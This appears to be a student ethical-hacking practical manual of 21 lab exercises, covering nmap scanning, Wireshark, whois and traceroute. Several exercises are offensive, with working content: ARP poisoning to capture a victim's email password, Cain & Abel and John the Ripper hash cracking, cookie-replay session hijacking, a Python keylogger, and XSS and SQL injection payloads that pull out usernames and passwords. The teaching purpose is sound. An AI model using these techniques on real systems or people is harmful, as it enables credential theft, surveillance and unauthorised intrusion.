**Aim 1. Aim: Use NMap to perform an ACK scan to determine if a port is filtered, unfiltered, or open. (Software: NMap)**

**📁 Part 1: Using Command Prompt**

**✅ Step-by-Step (Command Line):**

1. **Open Command Prompt** (Windows)
2. **Check Nmap installation:**

nmap --version

1. **Run the ACK Scan Command:**

nmap -sA -T4 scanme.nmap.org

**🔍 How to Interpret Results:**

* **Unfiltered**: If Nmap receives a **RST** response, the port is **unfiltered** (packet reached the host).
* **Filtered**: If there is **no response or ICMP error**, the port is **filtered** (likely blocked by a firewall).
* **Open**: ACK scan does **not** determine open/closed ports — it only tells if they are **filtered or not**.

🧪 Example Output:

All 1000 scanned ports on scanme.nmap.org are in ignored states.

Not shown: 1000 unfiltered tcp ports (reset)

This means the ports are **unfiltered**.

**📁 Part 2: Using Zenmap (Nmap GUI)**

**✅ Step-by-Step (Zenmap GUI):**

1. **Open Zenmap** (comes with Nmap installation).
2. In the **Target** field, enter:

scanme.nmap.org

1. In the **Command** field, type:

nmap -sA -T4 scanme.nmap.org

1. Click on the **"Scan"** button.
2. Once the scan completes, go to the **"Nmap Output"** tab to view results.

**Aim 2. Perform SYN, FIN, NULL, and XMAS scans to identify open ports and their Characteristics.**

**📁 First Part: Using Command Prompt**

Make sure **Nmap is installed**. Test it with:

nmap --version

**🔹 (ii) SYN (Stealth) Scan — -sS**

🔧 **Command:**

nmap -sS -p22,113,139 scanme.nmap.org

🧠 **SYN Scan Characteristics:**

* Sends SYN (TCP handshake start).
* If SYN-ACK received, port is **open**.
* If RST received, port is **closed**.
* Stealthy — doesn’t complete full handshake.

**🔹 (iii) FIN Scan — -sF**

🔧 **Command:**

nmap -sF -T4 192.168.0.5

🧠 **FIN Scan Characteristics:**

* Closed ports send **RST**.
* Open ports **ignore** FIN (appear open|filtered).
* Works best on Unix/Linux targets (Windows may not respond properly).

**🔹 (iv) NULL Scan — -sN**

🔧 **Command:**

nmap -sN -p22 scanme.nmap.org

🧠 **NULL Scan Characteristics:**

* Open ports **don’t respond**.
* Closed ports send **RST**.
* Also bypasses some firewalls.

**🔹 (v) XMAS Scan — -sX**

🔧 **Command:**

nmap -sX -T4 scanme.nmap.org

🧠 **XMAS Scan Characteristics:**

* Closed ports respond with **RST**.
* Open ports don’t respond (similar to NULL/FIN).
* Named due to all flags "lighting up like a Christmas tree."

**📁 Second Part: Using Nmap GUI (Zenmap)**

If you’re using **Zenmap** (Nmap’s GUI), here are the steps for each scan:

**🔧 Step-by-step in Zenmap (for each scan):**

1. **Open Zenmap.**
2. In the **Target** box, enter your IP or hostname (e.g., scanme.nmap.org or 192.168.0.5).
3. In the **Command** field, enter one of the following based on the scan:
   * **SYN Scan:**
   * nmap -sS -p22,113,139 scanme.nmap.org
   * **FIN Scan:**
   * nmap -sF -T4 192.168.0.5
   * **NULL Scan:**
   * nmap -sN -p22 scanme.nmap.org
   * **XMAS Scan:**
   * nmap -sX -T4 scanme.nmap.org
4. Click **Scan**.
5. Wait for results — they’ll appear in the **Nmap Output** tab.

**Aim 3. Crack the password using:**

**a. Dictionary Attack (Kali Linux or Ubuntu)**

**b. Cryptool (Cryptool)**

**a. Dictionary Attack (Kali Linux or Ubuntu)**

**🐧 For Linux (Debian/Ubuntu/Kali Linux)**

**🔹 Option 1: Install via package manager (easy way)**

This is the simplest method and works well for beginners.

sudo apt update

sudo apt install john -y

✅ Check if it’s installed:

john --version

✅ Step-by-Step Guide

🔹 Step 1: Install John the Ripper (✅ Already Done)

sudo apt update

sudo apt install john -y

Check version:

john --version

🔹 Step 2: Create a Password Hash File

Let’s simulate cracking a simple password hash.  
We’ll use Linux /etc/shadow-style hashes (you can also use MD5, SHA1, etc.)

1. Create a user password hash using OpenSSL:

openssl passwd -1 password123

It will generate something like:

$1$2sJhKy3p$B6QqRgQ7NxrndV8ptMxh80 **(and whatever you will get here paste it in the next echo command)**

2. Save this hash to a file:

echo 'user1: $1$2sJhKy3p$B6QqRgQ7NxrndV8ptMxh80 > hash.txt

🔹 Step 3: Create a Dictionary File

This is your list of possible passwords.

nano wordlist.txt

Paste some sample words:

123456

qwerty

password123

admin

Press Ctrl + O → Enter → Ctrl + X to save and exit.

🔹 Step 4: Run the Dictionary Attack

Use John to crack the password hash using your wordlist.

john --wordlist=wordlist.txt hash.txt

Output (if successful):

Using default input encoding: UTF-8

Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])

Press 'q' or Ctrl-C to abort, almost any other key for status

user1 (?)

✅ The password for user1 was found: password123

🔹 Step 5: View Cracked Passwords

In case you missed it:

john --show hash.txt

Example output:

user1:password123

**b. Cryptool (CrypTool)**

**1. Open the CrypTool Application**

**2. Click on:**

**File → New**

**3. Type:**

MySecretData  
*(Or you can type: Ethical Hacking)*

**4. From the top menu bar, click on:**

**Encrypt / Decrypt → Symmetric (modern) → RC4**

**5. Then click: Encrypt**

**6. You will now see the encrypted output.**

**7. To decrypt:**

Click on **Encrypt / Decrypt → Symmetric (modern) → RC4** again.

**8. Then click: Decrypt**

**9. You should now see the original message (MySecretData or Ethical Hacking) restored.**

**Aim 4. Use Wireshark to capture network traffic on a specific network interface. Analyze the captured packets to extract relevant information and identify potential security issues. (Wireshark)**

**Step 1: Set Up a Simple HTTP Login Page**

**Create an HTML file (login.html) and save it on your local machine.**

**Create in notepad – paste this code in notepad then give name login.html – select “All Files” and save.**

**Code:**

<!DOCTYPE html>

<html>

<head>

<title>Test HTTP Login</title>

</head>

<body>

<h2>Login</h2>

<form method="POST" action="http://example.com/login">

<input type="text" name="username" placeholder="Username">

<input type="password" name="password" placeholder="Password">

<input type="submit" value="Login">

</form>

</body>

</html>

**This form sends credentials as plain text over HTTP, making them visible in Wireshark.**

**Step 2: Start Capturing Packets in Wireshark**

1. Open Wireshark on your PC.
2. Select Your Network Interface (Wi-Fi or Ethernet).

* Click Capture → Options → Select your active network interface. (Choose Wi-Fi)

1. Click "Start" to begin packet capture.

**Step 3: Submit the Login Form**

1. Open login.html in your browser.
2. Enter any username & password (Example: user123 / pass123).
3. Click Login (It won't actually log in but will send a POST request).

**Step 4: Filter and Analyse the Captured Traffic**

1. In Wireshark, type the following Display Filter and press Enter:

http.request.method == "POST"

1. Look for a POST request with the destination <http://example.com/login>.

You will find this in – click arrow of Hypertext Transfer Protocol then you will see “<http://example.com/login>.”

1. Right-click the packet (“<http://example.com/login>.”) → Click "Follow -> TCP Stream".
2. Inside the stream, look for:

username=user123&password=pass123

**Step 5: Stop the Capture**

Click Stop (red square icon in Wireshark).

**Aim 5. Use Cryptool to perform Encryption and Decryption of Password. (Cryptool)**

**1. Open the CrypTool Application**

**2. Click on:**

**File → New**

**3. Type:**

MySecretData  
*(Or you can type: Ethical Hacking)*

**4. From the top menu bar, click on:**

**Encrypt / Decrypt → Symmetric (modern) → RC4**

**5. Then click: Encrypt**

**6. You will now see the encrypted output.**

**7. To decrypt:**

Click on **Encrypt / Decrypt → Symmetric (modern) → RC4** again.

**8. Then click: Decrypt**

**9. You should now see the original message (MySecretData or Ethical Hacking) restored.**

**Aim 6. Perform Network Analysis using following commands (Ubuntu)**

**a) ifconfig**

**b) ping**

**c) netstat**

**d) traceroute**

**🔧 🅰️ Command: ifconfig**

**🔹 Purpose: To check network interfaces, IP address, MAC address, etc.**

**✅ Steps:**

1. Open **Terminal** in Ubuntu.  
   *(Shortcut: Ctrl + Alt + T)*
2. Type the following command and hit **Enter**:
3. ifconfig
4. **Output Includes**:
   * inet: IP address (e.g., 192.168.1.10)
   * ether: MAC address (e.g., 08:00:27:4a:2e:5c)
   * RX / TX packets (received/sent)

💡 If ifconfig is not found, install it:

sudo apt update

sudo apt install net-tools -y

**🔧 🅱️ Command: ping**

**🔹 Purpose: Test connectivity between your system and a remote system.**

**✅ Steps:**

1. Type the following command in Terminal:
2. ping google.com
3. Observe the replies:
   * Time: Indicates latency
   * If it says **"64 bytes from..."**, then the connection is working.
4. Press Ctrl + C to stop the ping test.

**🔧 🅲️ Command: netstat**

**🔹 Purpose: Display network connections, routing tables, interface statistics, etc.**

**✅ Steps:**

1. Type the following:
2. netstat -tunlp
3. Breakdown:
   * t: TCP connections
   * u: UDP connections
   * n: Show numerical addresses
   * l: Show only listening ports
   * p: Show process using the port

💡 If netstat is not available, install it:

sudo apt install net-tools -y

**🔧 🅳️ Command: traceroute**

**🔹 Purpose: Trace the path packets take to reach a destination.**

**✅ Steps:**

1. First, install traceroute if not installed:
2. sudo apt install traceroute -y
3. Run the command:
4. traceroute google.com
5. You'll see the hops (routers) your packet travels through to reach Google.

**Aim 7. Execute the following tasks:**

**a) Perform network scan.**

**b) Find active machines.**

**c) Find number of hops from source to destination.**

**d) Perform ping command**

**🅰️ Perform Network Scan**

**🔹 Tool: nmap**

**✅ Steps:**

1. Open Terminal (Ctrl + Alt + T)
2. Install Nmap (if not already installed):
3. sudo apt update
4. sudo apt install nmap -y
5. To scan your local network (replace with your IP range):
6. nmap -sP 192.168.1.0/24
   * This command performs a **Ping Scan**.
   * It will **list all live hosts** on the network.

🔍 You can find your network IP range using ifconfig or ip a command.

**🅱️ Find Active Machines**

**🔹 Tool: nmap**

**✅ Steps:**

1. Use this command to find active (online) machines:
2. nmap -sn 192.168.1.0/24
   * It sends ping requests and lists devices that are **currently connected**.
   * You'll see lines like:
   * Nmap scan report for 192.168.1.5
   * Host is up (0.0030s latency).

**🅲️ Find Number of Hops from Source to Destination**

**🔹 Tool: traceroute**

**✅ Steps:**

1. Install if not already:
2. sudo apt install traceroute -y
3. Use this command:
4. traceroute google.com
5. Output will show the number of hops (each router the packet passes through):
6. 1 192.168.1.1 (router)
7. 2 ...
8. ...
9. 10 google.com
   * Count the number of lines = number of hops.

**🅳️ Perform Ping Command**

**🔹 Tool: ping**

**✅ Steps:**

1. Use this command to test connection to a remote host:
2. ping google.com
3. You'll see output like:
4. 64 bytes from google.com: icmp\_seq=1 ttl=56 time=30.3 ms
5. Press Ctrl + C to stop the ping test.

✅ **If you receive replies**, it means the destination is **reachable**.

**Aim 8. Find the number of hops from your PC to** [**www.prestashop.com**](http://www.prestashop.com)**.**

**🪟 Part A: Using Command Prompt (Windows)**

**🔹 Step 1: Open Command Prompt**

* Press Windows + R → type cmd → hit **Enter**.

**🔹 Step 2: Execute the Following Commands One-by-One**

1. **Find number of hops using tracert**

tracert www.prestashop.com

✅ This command shows each hop (router) the packet passes through to reach the destination.

1. **Ping the IP of PrestaShop’s server**

ping 104.16.210.130

✅ This checks if the server is reachable and shows latency in milliseconds.

1. **Ping local router IP (example IP)**

ping 192.168.29.1

1. **Ping another internal device IP (example IP)**

ping 192.168.70.12

1. **View network interface configuration (IP, MAC address, etc.)**

ipconfig

1. **View active network connections and listening ports**

netstat

**🐧 Part B: Using Terminal (Linux/Ubuntu)**

**🔹 Step 1: Open Terminal**

Press Ctrl + Alt + T.

**🔹 Step 2: Install traceroute (if not already installed)**

sudo apt update

sudo apt install traceroute -y

**🔹 Step 3: Run These Commands**

1. **Find number of hops using traceroute**

traceroute www.prestashop.com

✅ This shows all the hops (IP addresses of routers) from your machine to the destination.

1. **Ping the IP of PrestaShop’s server**

ping 104.16.210.130

1. **Ping local router**

ping 192.168.29.1

1. **Ping another local device (if applicable)**

ping 192.168.70.12

1. **View network interfaces**

ifconfig

*Note:* If you get an error, use:

ip a

1. **Check active connections and open ports**

netstat -tulnp

If netstat is not found, install it using:

sudo apt install net-tools -y

**Aim 9. Perform Reconnaisance to obtain following: [20]**

**a) The domain name**

**b) The URL**

**c) Registrant name – Who registered the domain**

**d) Email address**

**e)IP address**

**🛠️ Tools Used:**

* **Browser (Web Tools)**
* **whois command (Linux or online)**
* **nslookup / dig / ping (Linux)**
* **Websites like:**
  + 🔗 [https://whois.domaintools.com](https://whois.domaintools.com/)
  + 🔗 [https://who.is](https://who.is/)
  + 🔗 [https://dnschecker.org](https://dnschecker.org/)

**🐧 Step-by-Step in Ubuntu/Linux Terminal**

**🔹 Step 1: Get the IP Address of a Domain**

Use ping or nslookup:

ping www.example.com

or

nslookup www.example.com

**Output:**

Name: www.example.com

Address: 93.184.216.34

✅ **IP Address**: 93.184.216.34

**🔹 Step 2: Use WHOIS to Get Domain Registrant Details**

Install whois (if not already installed):

sudo apt update

sudo apt install whois -y

Run:

whois example.com

Look for:

* **Domain Name**
* **Registrant Name**
* **Email Address**
* **Creation & Expiry Dates**
* **Registrar Info**

**🔹 Sample Output (from whois)**

Domain Name: EXAMPLE.COM

Registrar: IANA

Registrant Name: John Doe

Registrant Email: john.doe@example.com

Updated Date: 2023-01-01

Creation Date: 1995-08-13

Name Server: A.IANA-SERVERS.NET

**🌐 Alternatively, Use an Online Tool (Easier for Beginners)**

**🔹 Step 1: Open Browser**

Go to:

* [https://who.is](https://who.is/)
* [https://whois.domaintools.com](https://whois.domaintools.com/)

**🔹 Step 2: Enter Domain (e.g., example.com)**

**🔹 Step 3: Check the following details:**

✅ Domain Name  
✅ URL (from address bar)  
✅ Registrant Name  
✅ Email Address  
✅ IP Address (in technical contact or DNS info)

**Aim 10. Use ARP poisoning to crack password of email account.**

**🛠️ Tools Required (Kali Linux or Parrot OS)**

1. ettercap – ARP poisoning and sniffing tool
2. wireshark – Packet analyzer
3. Target machine (e.g., Ubuntu or Windows on the same network)
4. Email login (on HTTP, not HTTPS – otherwise credentials are encrypted)

**📌 Steps to Perform ARP Poisoning & Capture Email Password**

**🔹 Step 1: Find Your Target’s IP**

Use the following command:

sudo arp-scan --localnet

Or:

sudo netdiscover

✅ **Note down the IP of the victim** and your **gateway/router**.

**🔹 Step 2: Enable IP Forwarding on Attacker (Kali)**

echo 1 | sudo tee /proc/sys/net/ipv4/ip\_forward

**🔹 Step 3: Launch Ettercap GUI**

sudo ettercap -G

If GUI doesn’t open, install it:

sudo apt install ettercap-graphical

**🔹 Step 4: Configure Ettercap**

1. **Sniff > Unified Sniffing > Select your network interface** (e.g., eth0 or wlan0)
2. **Hosts > Scan for hosts**
3. **Hosts > Host List**
4. Add:
   * Victim to Target 1
   * Gateway (router) to Target 2

**🔹 Step 5: Start ARP Poisoning**

* Go to **Mitm > ARP Poisoning**
* Tick **Sniff remote connections**
* Click **OK**
* Then go to **Start > Start sniffing**

**🔹 Step 6: Open Wireshark to Capture Credentials**

1. In a new terminal, start Wireshark:

sudo wireshark

1. Select your interface (eth0/wlan0)
2. Apply filter:

http

**🔹 Step 7: Victim Logs in to Email (non-HTTPS)**

If the victim tries to log in to a **non-secure webmail page**, you can see:

* **POST request**
* **Username and password in plain text** in the packet details

**Aim 11. Install and configure the Tamper Data add-on in Firefox. Intercept and modify HTTP requests to impersonate a user's session.**

**🔧 Steps to Perform in Waterfox:**

**🔹 Step 1: Open Waterfox Classic (recommended)**

Waterfox Classic supports legacy extensions like Tamper Data.

**🔹 Step 2: Install the Tamper Data Add-on**

1. Open this link in Waterfox Classic:  
   🔗 <https://addons.thunderbird.net/en-US/firefox/addon/tamper-data/>
2. Click **"Add to Waterfox"**
3. Restart Waterfox Classic

📌 *If you're using Waterfox Current or can't use legacy extensions, skip to “Using ModHeader” section below.*

**🔹 Step 3: Launch Tamper Data**

1. Click **Tools > Tamper Data**
2. Click **Start Tamper**
3. Visit any website (preferably a test login page like DVWA or BWAPP)
4. Tamper Data will prompt you to **“Tamper” each HTTP request**

**🔹 Step 4: Intercept & Modify the Request**

* Modify headers like:
* Cookie: PHPSESSID=target\_user\_session\_id
* Or edit the POST data to:
* username=admin&password=anything
* Click **OK** to send the modified request.

✅ This will simulate a **session hijack** or **bypass** in a test app.

**⚙️ Alternative: Using ModHeader (modern Waterfox or Firefox)**

If you cannot use legacy extensions, do this instead:

**🔸 Step 1: Install ModHeader**

1. Go to: <https://addons.mozilla.org/en-US/firefox/addon/modheader/>
2. Click **Add to Waterfox**

**🔸 Step 2: Configure ModHeader**

1. Open ModHeader from the toolbar icon
2. Add a new header:
3. Name: Cookie
4. Value: PHPSESSID=target\_user\_session\_id
5. Visit a web page that uses cookies for authentication.
6. You will be logged in as the user whose session ID you spoofed.

**📌 Example Scenario (on DVWA):**

1. Both attacker and victim are logged into DVWA on the same network.
2. Victim’s session cookie is PHPSESSID=abcdef123456.
3. Attacker sets this cookie using Tamper Data or ModHeader.
4. Attacker refreshes the DVWA page — now impersonates the victim!

**Aim 12. Create simple keylogger using python and record keys used by user.**

Code:

from pynput.keyboard import Listener

# Student details

name = "Your Name"

roll\_no = "Your Roll No"

# File where keystrokes will be logged

log\_file = "keylog.txt"

# Writing the name and roll number in the log file

with open(log\_file, "w") as f:

f.write(f"Keylogger Log - Ethical Hacking Practical\n")

f.write(f"Student Name: {name}\n")

f.write(f"Roll Number: {roll\_no}\n")

f.write("-" \* 50 + "\n")

# Function to log keystrokes

def on\_press(key):

try:

with open(log\_file, "a") as f:

f.write(f"{key}\n") # Append each key press to the file

except Exception as e:

print(f"Error: {e}")

# Setting up the key listener

with Listener(on\_press=on\_press) as listener:

print(f"Keylogger is running...\nStudent: {name}\nRoll No: {roll\_no}")

listener.join()

from pynput.keyboard import Listener

# Student details

name = "Your Name"

roll\_no = "Your Roll No"

# File where keystrokes will be logged

log\_file = "keylog.txt"

# Writing the name and roll number in the log file

with open(log\_file, "w") as f:

f.write(f"Keylogger Log - Ethical Hacking Practical\n")

f.write(f"Student Name: {name}\n")

f.write(f"Roll Number: {roll\_no}\n")

f.write("-" \* 50 + "\n")

# Function to log keystrokes

def on\_press(key):

try:

with open(log\_file, "a") as f:

f.write(f"{key}\n") # Append each key press to the file

except Exception as e:

print(f"Error: {e}")

# Setting up the key listener

with Listener(on\_press=on\_press) as listener:

print(f"Keylogger is running...\nStudent: {name}\nRoll No: {roll\_no}")

listener.join()

**Aim 13. Find the Reconnaissance on www.google.com as following:**

**a) Determine the network range**

**b) Identify active machines**

**c) Discover open ports and access points**

**d) Uncover services on ports.**

**e) Server name.**

**🔧 Tools Used**

* Nmap
* whois
* ping
* traceroute / tracert
* dig / nslookup

You can do this in **Linux (Ubuntu/Kali)** or using **CMD on Windows** where applicable.

**🔍 a) Determine the Network Range**

**🔹 Step 1 (Linux Terminal):**

whois google.com

🔎 Look for:

* **NetRange** or **CIDR** under the "NetRange" or "inetnum" fields  
  Example:

NetRange: 142.250.0.0 - 142.251.255.255

CIDR: 142.250.0.0/15

**✅ Output:**

This tells you the network range that Google's servers fall into.

**🔎 b) Identify Active Machines (Hosts)**

**🔹 Step 2: Ping Sweep or Nmap Ping Scan**

**✅ Using Nmap:**

nmap -sn 142.250.0.0/24

📌 -sn means ping scan only (no port scan). It will list live/active hosts in the given range.

**✅ Or using fping (if installed):**

fping -a -g 142.250.0.0 142.250.0.255

**🔎 c) Discover Open Ports and Access Points**

**🔹 Step 3: Port Scanning with Nmap**

nmap -Pn -p 1-1000 www.google.com

📝 Explanation:

* -Pn: Skip host discovery (assumes host is up)
* -p 1-1000: Scan first 1000 ports

**🔎 d) Uncover Services on Ports**

**🔹 Step 4: Service Detection with Nmap**

nmap -sV www.google.com

📝 -sV: Detect service versions (e.g., Apache, nginx)

✅ This will show services like HTTP, HTTPS, etc., and what software is running.

**🔎 e) Find Server Name**

**🔹 Step 5: Use dig or nslookup**

**✅ Using dig:**

dig www.google.com

Look for the ANSWER SECTION:

www.google.com. 123 IN CNAME any-name.l.google.com.

**✅ Or:**

nslookup www.google.com

You’ll see the **canonical name (CNAME)** or **server name**.

**Aim 14. Use cain and abel to crack windows password by using Dictionary attack.**

**🔧 Step-by-step Instructions:**

**1. ✅ Install Cain & Abel**

* Download from a trusted archive or mirror (as official site is often unavailable).
* Install **Cain & Abel** as Administrator.
* It may require **WinPcap** (install if prompted).

**2. 🔓 Dump Windows Password Hashes**

* Launch Cain & Abel as Administrator.
* Go to the **Cracker** tab.
* Click on the **LM & NTLM Hashes** tab (left pane).
* Click the **+** (Add) icon.
* Choose **Import hashes from local system** or from **SAM database**.
* You'll now see the list of usernames with their password hashes.

**3. 📂 Load Dictionary File**

* Right-click on a username → Click **Dictionary Attack > NTLM Hashes**.
* Under **Dictionary** tab:
  + Click Add and select your dictionary file (e.g., rockyou.txt).
* Under **Options**:
  + Check “Try all combinations” if needed (slower).
* Click **Start** to begin the attack.

🔁 The tool will try every word from the list to match the password hash.

**4. ✅ View Result**

* If a password is cracked, it will be shown under **Password** field next to the user.
* You’ve now cracked the password using a **dictionary attack**.

**Aim 15. Perform network scanning on www.sports.com to find number of active machines and no of packets send.**

**🧰 Using Nmap (Recommended for scanning)**

**1. 🖥️ Open Terminal (Linux/Ubuntu/Kali) or CMD (Windows with Nmap)**

**a) Perform a Ping Scan to Identify Active Machines**

nmap -sn www.sports.com

OR find the IP first:

nslookup www.sports.com

Then scan the IP range:

nmap -sn [network\_range]

🟢 Example:

nmap -sn 192.168.1.0/24

**b) Find Number of Packets Sent (via Nmap or Wireshark)**

**✅ Option 1: Nmap verbose output**

nmap -v -sn 192.168.1.0/24

It shows:

* Number of hosts scanned
* Packets sent and received

**✅ Option 2: Wireshark (Graphical)**

1. Open Wireshark
2. Start capturing on your main network interface (e.g., eth0, wlan0)
3. Run:
4. ping www.sports.com
5. Stop capture and search for the number of **ICMP** packets or **nmap** TCP/UDP requests.

**Aim 16. Using Nmap (ZenMap) perform the following scans on the system:**

**a. Intense scan**

**b. Xmas Scan**

**c. Null Scan**

**✅ PART 1: Using Nmap in CMD / Linux Terminal**

Before you begin:

* Make sure **Nmap is installed**
  + On **Linux**: sudo apt install nmap -y
  + On **Windows**, download from: <https://nmap.org/download.html>

**🔍 a) Intense Scan (Command Line)**

nmap -T4 -A -v [target IP or domain]

📝 Example:

nmap -T4 -A -v scanme.nmap.org

🔎 What it does:

* -T4 → Faster execution
* -A → Enables OS detection, version detection, script scanning, and traceroute
* -v → Verbose output

**🎄 b) Xmas Scan (Command Line)**

nmap -sX [target IP]

📝 Example:

nmap -sX scanme.nmap.org

🔎 What it does:

* Sends packets with **FIN, PSH, and URG flags** set — like a lit "Xmas tree"
* Used to **evade firewalls**

**🚫 c) Null Scan (Command Line)**

nmap -sN [target IP]

📝 Example:

nmap -sN scanme.nmap.org

🔎 What it does:

* Sends packets with **no flags**
* Useful for stealth scanning or firewall testing

**✅ PART 2: Using Nmap GUI (ZenMap)**

🧰 **Steps to install ZenMap (Windows or Linux)**:

* For **Windows**, ZenMap is bundled with the Nmap installer.
* For **Linux**, install it via:
* sudo apt install zenmap -y

**🔧 Steps to Perform Each Scan in ZenMap:**

1. **Open ZenMap as Administrator**
2. **Target Field** → Enter the IP address or domain  
   e.g., scanme.nmap.org or 192.168.1.1
3. **Command Field (Profile)** → Use dropdown or type custom scan

**a) 📋 Intense Scan in ZenMap**

* In **Profile** dropdown, select: **Intense scan**
* OR type manually:
* nmap -T4 -A -v [target]
* Click on **Scan**

**b) 🎄 Xmas Scan in ZenMap**

* In Profile dropdown, select: **Xmas scan**
* OR type manually:
* nmap -sX [target]
* Click on **Scan**

**c) 🚫 Null Scan in ZenMap**

* In Profile dropdown, select: **Null scan**
* OR type:
* nmap -sN [target]
* Click on **Scan**

**Aim 17. Use Ping and IP Scanner to scan the network. List your findings.**

**✅ PART 1: Using CMD (Windows) / Terminal (Linux)**

**🔹 Step A: Find your IP address and subnet**

ipconfig # Windows

ifconfig # Linux

📌 Note your **IPv4 address** and **Subnet Mask**

Example:

IPv4 Address: 192.168.1.10

Subnet Mask: 255.255.255.0 → Network: 192.168.1.0/24

**🔹 Step B: Ping devices manually (Basic Scan)**

ping 192.168.1.1

ping 192.168.1.2

ping 192.168.1.3

...

You can also use a loop (Linux only):

for ip in $(seq 1 254); do ping -c 1 192.168.1.$ip | grep "64 bytes"; done

✅ This will show **active devices** (those replying to ping).

**✅ PART 2: Using Nmap as IP Scanner**

**🔹 Step A: Install Nmap**

* **Linux**: sudo apt install nmap
* **Windows**: [Download Nmap](https://nmap.org/download.html)

**🔹 Step B: Scan the full local network**

nmap -sn 192.168.1.0/24

📌 Replace 192.168.1.0/24 with your local network range (as found above).

✅ This will list **all active hosts**.

Example output:

Nmap scan report for 192.168.1.1

Host is up (0.0031s latency).

MAC Address: 00:1A:2B:3C:4D:5E (Cisco Systems)

Nmap scan report for 192.168.1.5

Host is up (0.0021s latency).

MAC Address: 10:AB:CD:EF:12:34 (Apple Inc.)

**Aim 18. Perform Cross Site Scripting attack to change content of Session Cookies.**

**✅ Step-by-Step Guide (Using Waterfox)**

**🔹 Step 1: Set Up a Vulnerable Environment**

Install **DVWA (Damn Vulnerable Web App)** or use any site with an XSS-vulnerable field.

You can set up DVWA on:

* **XAMPP** (Windows) or **LAMP** (Linux)
* Or use [vulnhub](https://www.vulnhub.com/) virtual machines

Access DVWA at:  
📌 http://localhost/dvwa

**🔹 Step 2: Login to DVWA**

* Default credentials:
* Username: admin
* Password: password
* Set **Security Level** to: *Low* (from the DVWA Security tab)

**🔹 Step 3: Go to XSS (Reflected) Module**

* Navigate to **"XSS (Reflected)"** from the left menu.

**🔹 Step 4: Inject XSS Script to Change Cookie**

In the **Name** input field, enter this payload:

<script>document.cookie="session=attacker123";</script>

Then click **Submit**.

📌 This will change the browser’s session cookie for the site to a fake value like session=attacker123.

**🔹 Step 5: Verify the Change in Cookies in Waterfox**

1. Press **F12** to open **Developer Tools**.
2. Go to the **Storage** or **Application** tab.
3. Click on **Cookies** → http://localhost
4. Look for PHPSESSID or any session-related cookies.
5. You should see the modified value (or new value you injected).

**Aim 19. Perform SQL Injection and retrieve the user names and passwords from the application.**

**Step-by-Step Guide for SQL Injection**

**🖥️ Step 1: Set Up a Vulnerable Web Application (DVWA or bWAPP)**

* If you don’t have a vulnerable environment:
  + **DVWA** (Damn Vulnerable Web Application) is a great tool to practice ethical hacking. It is a web application that contains several vulnerabilities, including SQL Injection.
  + You can install **DVWA** on your local machine using **XAMPP** (Windows) or **LAMP** (Linux).

**Steps to install DVWA:**

* + Install **XAMPP** or **LAMP** on your machine (refer to official guides for your OS).
  + Download DVWA from [here](http://www.dvwa.co.uk/).
  + Extract the DVWA folder to your htdocs directory (XAMPP) or web directory (LAMP).
  + Configure DVWA (edit config.inc.php in the config folder with the correct database credentials).
  + Start Apache and MySQL services in **XAMPP** or **LAMP**.
  + Open the DVWA web interface (http://localhost/dvwa).
  + Login with default credentials:
    - **Username**: admin
    - **Password**: password
  + Set **Security** to **Low** in the **DVWA Security** menu.

**🖥️ Step 2: Understand the Vulnerable SQL Injection Form**

1. After logging into DVWA, navigate to **SQL Injection** under the **Vulnerabilities** section.
2. The SQL injection form typically asks for a **User ID** or **Username**.

For example, you may see a form with:

* **User ID** input field
* The SQL query behind it could look like:
* SELECT \* FROM users WHERE user\_id = '$user\_id'

The input field is **vulnerable to SQL Injection** if user input is not sanitized.

**🖥️ Step 3: Testing SQL Injection**

Now, let’s perform a basic SQL Injection:

**Example Input: ' OR 1=1 --**

1. In the **User ID** field, enter the following:
2. ' OR 1=1 --
   * **Explanation:**
     + ' closes the current SQL statement.
     + OR 1=1 is always true and bypasses authentication.
     + -- is used to comment out the rest of the SQL query.
3. Click **Submit**.
   * You should be able to see all user records or bypass the login form if SQL Injection is successful.

**🖥️ Step 4: Retrieve Usernames and Passwords from the Database**

To retrieve usernames and passwords, we can extend the SQL injection.

1. In the **User ID** field, use the following payload:
2. ' UNION SELECT username, password FROM users --
   * **Explanation:**
     + ' closes the current SQL query.
     + UNION combines the results of two SELECT queries.
     + SELECT username, password FROM users extracts the usernames and passwords from the **users** table.
3. **Submit the form**, and if successful, you should see a list of usernames and passwords.

**Note**: If the application displays an error, the columns might be mismatched. In that case, try:

' UNION SELECT null, null, username, password FROM users --

**🖥️ Step 5: Advanced SQL Injection Techniques**

To find the column numbers and adjust the query:

1. Use **Order By** to test column indexes. Example:
2. ' ORDER BY 1 --

Try increasing the number, for example, ORDER BY 2, ORDER BY 3, etc., to identify the column number that the query returns without an error.

1. **Error-based SQL Injection** can also help you get database information if the application displays error messages: Example:
2. ' AND 1=CONVERT(int, (SELECT @@version)) --

**🖥️ Step 6: Exploit the Vulnerability to Extract Sensitive Information**

* **Retrieving Database Version:** To gather more information about the database, you can use:
* ' UNION SELECT null, version() --
* **Extracting All Users and Passwords:** Once the application shows the result, you will have access to usernames and passwords stored in the database.
* **Brute Force or Hash Cracking**: If the passwords are hashed, you can crack the hashes offline using tools like **John the Ripper** or **Hashcat**.

**Aim 20. Find the number of hops taken by your system to send information from your computer to** [**www.google.com**](http://www.google.com)

**Steps for Windows (Command Prompt) - Using tracert Command**

**1. Open Command Prompt**

* Press Windows + R to open the **Run** dialog box.
* Type cmd and press **Enter** or click **OK** to open the Command Prompt.

**2. Run the tracert Command**

* In the Command Prompt window, type the following command and press **Enter**:
* tracert www.google.com

**Steps for Linux (Terminal) - Using traceroute Command**

**1. Open Terminal**

* On Ubuntu or most Linux distributions, open the **Terminal** using the keyboard shortcut Ctrl + Alt + T or search for "Terminal" in your applications.

**2. Install traceroute (if not already installed)**

If the traceroute command is not available on your Linux machine, you can install it using the following command:

sudo apt update

sudo apt install traceroute

This will install traceroute if it is not already installed.

**3. Run the traceroute Command**

* In the Terminal window, type the following command and press **Enter**:
* traceroute www.google.com

**Aim 21. Find the owner of the website Godaddy.com, it's geographic location and owner of the IP address block of Godaddy.com**

**Step 1: Find the Owner of GoDaddy.com (WHOIS Lookup)**

**On Linux (Using Terminal)**

1. **Open Terminal**.
2. **Install whois (if not already installed)**: If whois is not installed on your Linux system, you can install it using the following command:
3. sudo apt update
4. sudo apt install whois
5. **Run WHOIS Command**: To look up the ownership information of **GoDaddy.com**, run the following command:
6. whois godaddy.com
   * This command will display detailed WHOIS information about **GoDaddy.com**, including the owner, registration details, and the registrar.

**On Windows (Using Command Prompt or PowerShell):**

1. **Open PowerShell or Command Prompt**.
